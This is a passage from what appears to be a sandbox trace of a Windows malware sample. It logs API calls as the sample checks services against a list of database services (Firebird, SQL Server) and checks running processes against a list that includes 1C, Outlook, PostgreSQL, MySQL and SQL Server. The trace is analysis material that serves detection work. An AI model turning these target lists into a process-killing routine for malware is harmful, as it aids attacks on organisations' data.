lpString2="netprofm") returned -1 [0045.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0045.174] lstrlenW (lpString="NlaSvc") returned 6 [0045.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0045.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0045.174] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0045.174] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0045.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0045.174] lstrlenW (lpString="nsi") returned 3 [0045.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0045.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0045.174] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0045.174] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0045.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0045.174] lstrlenW (lpString="PcaSvc") returned 6 [0045.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0045.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0045.174] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0045.174] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0045.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0045.174] lstrlenW (lpString="PlugPlay") returned 8 [0045.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0045.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0045.174] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0045.174] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0045.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0045.174] lstrlenW (lpString="Power") returned 5 [0045.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0045.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0045.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0045.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0045.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0045.175] lstrlenW (lpString="ProfSvc") returned 7 [0045.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0045.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0045.175] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0045.175] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0045.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0045.175] lstrlenW (lpString="RpcEptMapper") returned 12 [0045.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0045.175] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0045.175] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0045.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0045.175] lstrlenW (lpString="RpcSs") returned 5 [0045.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0045.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0045.175] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0045.175] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0045.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0045.175] lstrlenW (lpString="SamSs") returned 5 [0045.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0045.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0045.175] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0045.175] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0045.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0045.175] lstrlenW (lpString="Schedule") returned 8 [0045.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0045.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0045.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0045.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0045.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0045.175] lstrlenW (lpString="SENS") returned 4 [0045.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0045.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0045.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0045.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0045.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0045.176] lstrlenW (lpString="ShellHWDetection") returned 16 [0045.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0045.176] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0045.176] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0045.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0045.176] lstrlenW (lpString="Spooler") returned 7 [0045.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0045.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0045.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0045.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0045.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0045.176] lstrlenW (lpString="SysMain") returned 7 [0045.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0045.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0045.176] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0045.176] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0045.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0045.176] lstrlenW (lpString="Themes") returned 6 [0045.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0045.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0045.176] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0045.176] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0045.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0045.176] lstrlenW (lpString="TrkWks") returned 6 [0045.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0045.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0045.177] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0045.177] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0045.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0045.177] lstrlenW (lpString="UxSms") returned 5 [0045.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0045.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0045.177] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0045.177] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0045.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0045.177] lstrlenW (lpString="WdiServiceHost") returned 14 [0045.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0045.177] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0045.177] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0045.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0045.177] lstrlenW (lpString="WdiSystemHost") returned 13 [0045.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0045.177] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0045.177] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0045.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0045.177] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0045.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0045.177] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0045.177] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0045.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0045.177] lstrlenW (lpString="Winmgmt") returned 7 [0045.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0045.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0045.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0045.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0045.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0045.178] lstrlenW (lpString="WPDBusEnum") returned 10 [0045.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0045.178] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0045.178] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0045.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0045.178] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b4738 | out: hHeap=0x5a0000) returned 1 [0045.178] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0045.180] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0045.181] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0045.181] lstrlenW (lpString="System") returned 6 [0045.181] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0045.181] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0045.181] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0045.181] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0045.181] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0045.182] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0045.182] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0045.182] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0045.182] lstrlenW (lpString="smss.exe") returned 8 [0045.182] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0045.182] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0045.182] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0045.182] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0045.182] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0045.182] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0045.182] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0045.182] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.183] lstrlenW (lpString="csrss.exe") returned 9 [0045.183] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.183] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.183] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.183] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.183] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.183] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.183] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0045.183] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0045.184] lstrlenW (lpString="wininit.exe") returned 11 [0045.184] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0045.184] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0045.184] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0045.184] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0045.184] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0045.184] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0045.184] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0045.184] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0045.184] lstrlenW (lpString="csrss.exe") returned 9 [0045.184] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0045.184] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0045.184] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0045.184] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0045.184] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0045.184] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0045.185] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0045.185] lstrlenW (lpString="winlogon.exe") returned 12 [0045.185] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0045.186] lstrlenW (lpString="services.exe") returned 12 [0045.186] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0045.186] lstrlenW (lpString="lsass.exe") returned 9 [0045.186] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0045.187] lstrlenW (lpString="lsm.exe") returned 7 [0045.187] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.187] lstrlenW (lpString="svchost.exe") returned 11 [0045.187] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.188] lstrlenW (lpString="svchost.exe") returned 11 [0045.188] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.188] lstrlenW (lpString="svchost.exe") returned 11 [0045.188] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.189] lstrlenW (lpString="svchost.exe") returned 11 [0045.189] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.189] lstrlenW (lpString="svchost.exe") returned 11 [0045.189] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0045.190] lstrlenW (lpString="audiodg.exe") returned 11 [0045.190] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.190] lstrlenW (lpString="svchost.exe") returned 11 [0045.190] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.191] lstrlenW (lpString="svchost.exe") returned 11 [0045.191] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0045.191] lstrlenW (lpString="dwm.exe") returned 7 [0045.191] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0045.192] lstrlenW (lpString="explorer.exe") returned 12 [0045.192] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0045.192] lstrlenW (lpString="spoolsv.exe") returned 11 [0045.192] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.193] lstrlenW (lpString="taskhost.exe") returned 12 [0045.193] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0045.193] lstrlenW (lpString="svchost.exe") returned 11 [0045.193] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0045.194] lstrlenW (lpString="taskeng.exe") returned 11 [0045.194] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0045.194] lstrlenW (lpString="taskhost.exe") returned 12 [0045.195] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotesrouting.exe")) returned 1 [0045.195] lstrlenW (lpString="promotesrouting.exe") returned 19 [0045.195] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rxcalled.exe")) returned 1 [0045.195] lstrlenW (lpString="rxcalled.exe") returned 12 [0045.196] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="off.exe")) returned 1 [0045.196] lstrlenW (lpString="off.exe") returned 7 [0045.196] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mayorintl.exe")) returned 1 [0045.197] lstrlenW (lpString="mayorintl.exe") returned 13 [0045.197] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="gzip-june.exe")) returned 1 [0045.197] lstrlenW (lpString="gzip-june.exe") returned 13 [0045.197] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsnavy.exe")) returned 1 [0045.198] lstrlenW (lpString="lsnavy.exe") returned 10 [0045.198] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="placing-scott-que.exe")) returned 1 [0045.198] lstrlenW (lpString="placing-scott-que.exe") returned 21 [0045.198] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifications.exe")) returned 1 [0045.199] lstrlenW (lpString="specifications.exe") returned 18 [0045.199] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soup-mario.exe")) returned 1 [0045.199] lstrlenW (lpString="soup-mario.exe") returned 14 [0045.199] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cultures-possession-please.exe")) returned 1 [0045.200] lstrlenW (lpString="cultures-possession-please.exe") returned 30 [0045.200] Process32NextW (in: hSnapshot=0x1d4, lppe=0x228fd34 | out: lppe=0x228fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, 